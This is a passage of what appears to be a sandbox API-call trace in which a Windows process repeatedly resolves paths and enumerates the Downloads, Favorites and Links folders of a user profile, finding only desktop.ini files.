HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27 [0080.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28 [0080.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.350] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.350] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0080.351] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.351] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0080.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0080.353] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28 [0080.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.353] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.353] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.354] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0080.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e [0080.355] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.356] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.356] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, 